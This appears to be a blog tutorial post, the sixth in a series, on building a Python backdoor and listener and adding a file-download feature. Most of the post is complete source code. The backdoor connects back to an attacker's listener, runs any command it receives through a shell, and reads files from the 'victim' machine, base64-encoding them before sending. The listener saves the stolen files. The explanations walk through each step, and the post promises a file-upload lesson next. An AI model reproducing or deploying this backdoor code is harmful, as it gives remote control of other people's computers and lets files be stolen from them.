Backdoor 06 : File Download using python

#File Download:

To transfer a file we need to:
  • Read the file as a sequence of characters.
  • Send this sequence of characters.
  • Create a new empty file at destination.
  • Store the transferred sequence of characters in the new file
As u can see in the image 
we tried to open an image in note pad the file is actually a sequence of characters

#1st we are trying to send sample.txt which doesn't have any special character its a simple notepad file
let's implement stuff in our code!
#CODE: READ FILE_BACKDOOR
  1. #!/usr/bin/env python
  2. import socket
  3. import subprocess
  4. import json
  5. import os

  6. class Backdoor:
  7. def __init__(self, ip, port):
  8. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  9. self.connection.connect((ip, port))

  10. def json_send(self, data):
  11. json_data = json.dumps(data)
  12. self.connection.send(json_data)

  13. def json_receive(self):
  14. json_data = ""
  15. while True:
  16. try:
  17. json_data = json_data + self.connection.recv(1024)
  18. return json.loads(json_data)
  19. except ValueError:
  20. continue

  21. def execute_system_command(self, command):
  22. return subprocess.check_output(command, shell=True)

  23. def change_working_directory_to(self, path):
  24. os.chdir(path)
  25. return "[+] Working directory has been changed" + path

  26. def read_files(self, path):
  27. with open(path, "rb") as file:
  28. return file.read()
  29. def run(self):
  30. while True:
  31. command = self.json_receive()
  32. if command[0] == "exit":
  33. self.connection.close()
  34. exit()
  35. elif command[0] == "cd" and len(command) > 1:
  36. command_result = self.change_working_directory_to(command[1])

  37. elif command[0] == "download":
  38. command_result = self.read_files(command[1])
  39. else:
  40. command_result = self.execute_system_command(command)

  41. self.json_send(command_result)

  42. my_backdoor = Backdoor("10.0.2.15", 4444)
  43. my_backdoor.run()
#line-32/33/34 = 

  •     def read_files(self, path):
  •         with open(path, "rb") as file:
  •             return file.read()
#EXPLANATION

  • def read_files(self, path):
So the first step is going to be reading the file from our backdoor.
So I'm going to implement a method and I'm going to call this method read_file.
And this will take self and the final path to read as inputs, 
Now, the syntax to read the file is actually very, very similar to writing a file
    • with open(path, "rb") as file:
    we can use the 'with' keyword in order to open this file.
    first argument is going to be the path to the file to open.
    So this is going to be the path that we get as an input and then we're going to specify the method that
    we want to open this file.

    So we're going to put 'r' as the method of opening this file.
    And 'b' I want to treat all the files as binary files.

    Now you can use just 'r' if you just want to read normal text files, 
    but if you 'b', we will be able to read files as binaries.
    So this will allow us to transfer normal files such as images and all of that and other text files.

    Then we're going to say we want to open this file 'as file' 
    So this is the variable that we're going to use to reference the file that we opened.
      • return file.read()
      NOW We just want to read this file so we can read the file by doing 'file.read'
      And what I want to do is I want to actually return the contents of this file.
      So we're going to say I want to return the file that WE read.

      #line-44/45 = 
      •             elif command[0] == "download":
      •                 command_result = self.read_files(command[1]
      So we're going to do elif the first element of the command that the user sent is equal to download.
      Then my command result is going to be self.read_files.

      And the file that we want to read is going to be the second element of the command list

      So when the person tries to download the file, they're going to type download, followed by the file
      name that they want to download.
      • download[0] & file name[1]
      So the first element is going to be download and the second element is going to be the file name.

      So we can access this by typing command.
      And this will be the first element of the command list[1].

      Now when the user enters download, followed by a file name.
      This check will be true.

      So we're going to call the read_file.
      We're going to give you the file name as the path.
      This will open the path as file it will read it and return it.
      So it'll be captured by my command_result.
      And then this will be sent back to my listener.

      Now, the listener is going to receive this in the result variable in here,
      • result = self.write_file(command[1], result)
      and then it's going to be printed on my screen, 
      but I don't want this to be printed on my screen.
      I want this to be downloaded as a file.

      So now we have to do the final step, which is to create an empty file and put all of the result that we're going to get inside this file so that we will have an identical file to the file that exists on the
      another side (listener).


      #CODE: WRITE FILE_LISTENER
        1. #!/usr/bin/env python
        2. import socket
        3. import json

        4. class Listener:
        5. def __init__(self, ip, port):
        6. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        7. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        8. listener.bind((ip, port))
        9. listener.listen(0)
        10. print("[+]Waiting for incomming connection")
        11. self.connection, address = listener.accept()
        12. print("[+]Got a connection from" + str(address))

        13. def json_send(self, data):
        14. json_data = json.dumps(data)
        15. self.connection.send(json_data)

        16. def json_receive(self):
        17. json_data = ""
        18. while True:
        19. try:
        20. json_data = json_data + self.connection.recv(1024)
        21. return json.loads(json_data)
        22. except ValueError:
        23. continue

        24. def execute_remotely(self, command):
        25. self.json_send(command)

        26. if command[0] == "exit":
        27. self.connection.close()
        28. exit()

        29. return self.json_receive()

        30. def write_file(self, path, content):
        31. with open(path, "wb") as file:
        32. file.write(content)
        33. return "[+] Download sucessfull.."

        34. def run(self):
        35. while True:
        36. command = raw_input(">> ")
        37. command = command.split(" ")
        38. result = self.execute_remotely(command)

        39. if command[0] == "download":
        40. result = self.write_file(command[1], result)
        41. print(result)


        42. my_listener = Listener("10.0.2.15", 4444)
        43. my_listener.run()
        #line-37-40 = 
        •     def write_file(self, path, content):
        •         with open(path, "wb") as file:
        •             file.write(content)
        •             return "[+] Download sucessfull.."

        #EXPLANATION

        • def write_file(self, path, content):
        So the first step is going to be WRITING the file
        So I'm going to implement a method and I'm going to call this method write_file.
        And this will take self and the final path to read as inputs, 
        Now, the syntax to read the file is actually very, very similar to writing a file
        Now, this method will take the path. As the file name and the contents of the file to write again in order to write a file.
        • with open(path, "wb") as file:
        We're going to open the file that we want to open is something that doesn't exist.
        So it's just going to give the path that we get as an input to this function.
        And the method of opening this file, we want to write to this file,
        so remember when we were reading,
        we put an 'r' when we want to write, 
        we're going to put 'w' 
        and since this file is going to be sent as a binary file because it's being read as a binary file.
        So we're going to type 'wb' for binary and we're going to reference this file 'as file'.

        And then once this file is open, we're going to do file.write and what we want to write in this
        file is whatever we get in the content variable as input to this function.
        • return "[+] Download sucessfull.."
        And finally, we're going to return a message saying.
        Download successful.

        #line-44/45 = 
        •  if command[0] == "download":
        •    result = self.write_file(command[1], result)

        Now whenever the user enters download, this will be sent to the back door,
        the backdoor is going to be able to read the file and send its content.
        The content is going to be received in the result.

        So I'm going to add a check-in here by saying 
        • if command[0] == "download":
        If the first element of my command is equal to download.
        • result = self.write_file(command[1], result)
        I want to write file, so we're going to do self.write_file and what
        we want to write is whatever we get and the result.
        So we want to right the result.
        & the first element of the command = list command[1].

        the result now is equal to whatever is returned from my download file.
        And then this will be printed on the screen to the person using the listener.
        if this got cheak this will be the result
        so result = self.write_file(command[1], result)

        #Now let's try to send an image or any other file which has a sequence of character!
        #AS U CAN SEE WE FACE A PROBLEM!! WHILE WE TRY TO DOWNLOAD THE IMAGE  [GO THROUGH THE IMAGE]

        We use base64 so that it could encode and decode the file

        #CODE: IMPLEMENTING_ BASE64_IN_LISTENER
        1. #!/usr/bin/env python
        2. import socket
        3. import json
        4. import base64

        5. class Listener:
        6. def __init__(self, ip, port):
        7. listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        8. listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        9. listener.bind((ip, port))
        10. listener.listen(0)
        11. print("[+]Waiting for incomming connection")
        12. self.connection, address = listener.accept()
        13. print("[+]Got a connection from" + str(address))

        14. def json_send(self, data):
        15. json_data = json.dumps(data)
        16. self.connection.send(json_data)

        17. def json_receive(self):
        18. json_data = ""
        19. while True:
        20. try:
        21. json_data = json_data + self.connection.recv(1024)
        22. return json.loads(json_data)
        23. except ValueError:
        24. continue

        25. def execute_remotely(self, command):
        26. self.json_send(command)

        27. if command[0] == "exit":
        28. self.connection.close()
        29. exit()

        30. return self.json_receive()

        31. def write_file(self, path, content):
        32. with open(path, "wb") as file:
        33. file.write(base64.b64decode(content))
        34. return "[+] Download sucessfull.."

        35. def run(self):
        36. while True:
        37. command = raw_input(">> ")
        38. command = command.split(" ")
        39. result = self.execute_remotely(command)

        40. if command[0] == "download":
        41. fix_blank = " ".join(command[1:])
        42. result = self.write_file(command[1], result)
        43. print(result)


        44. my_listener = Listener("10.0.2.15", 4444)
        45. my_listener.run()

        #CODE: IMPLEMENTING_ BASE64_IN_BACKDOOR
        1. #!/usr/bin/env python
        2. import socket
        3. import subprocess
        4. import json
        5. import os
        6. import base64

        7. class Backdoor:
        8. def __init__(self, ip, port):
        9. self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        10. self.connection.connect((ip, port))

        11. def json_send(self, data):
        12. json_data = json.dumps(data)
        13. self.connection.send(json_data)

        14. def json_receive(self):
        15. json_data = ""
        16. while True:
        17. try:
        18. json_data = json_data + self.connection.recv(1024)
        19. return json.loads(json_data)
        20. except ValueError:
        21. continue

        22. def execute_system_command(self, command):
        23. return subprocess.check_output(command, shell=True)

        24. def change_working_directory_to(self, path):
        25. os.chdir(path)
        26. return "[+] Working directory has been changed" + path

        27. def read_files(self, path):
        28. with open(path, "rb") as file:
        29. return base64.b64encode(file.read())

        30. def run(self):
        31. while True:
        32. command = self.json_receive()
        33. if command[0] == "exit":
        34. self.connection.close()
        35. exit()
        36. elif command[0] == "cd" and len(command) > 1:
        37. command_result = self.change_working_directory_to(command[1])

        38. elif command[0] == "download":
        39. fix_blank = " ".join(command[1:])
        40. command_result = self.read_files(fix_blank)
        41. else:
        42. command_result = self.execute_system_command(command)

        43. self.json_send(command_result)

        44. my_backdoor = Backdoor("10.0.2.15", 4444)
        45. my_backdoor.run()

        #EXPLANATION

        We use we use to encode and decode in our backdoor and listener respectively

        This is what base64 doing

        #Encoding and decoding explanation!

        #Now next thing we will learn how to upload a file in victim's computer!

        Post a Comment

        If you have any doubts, please let me know

        Previous Post Next Post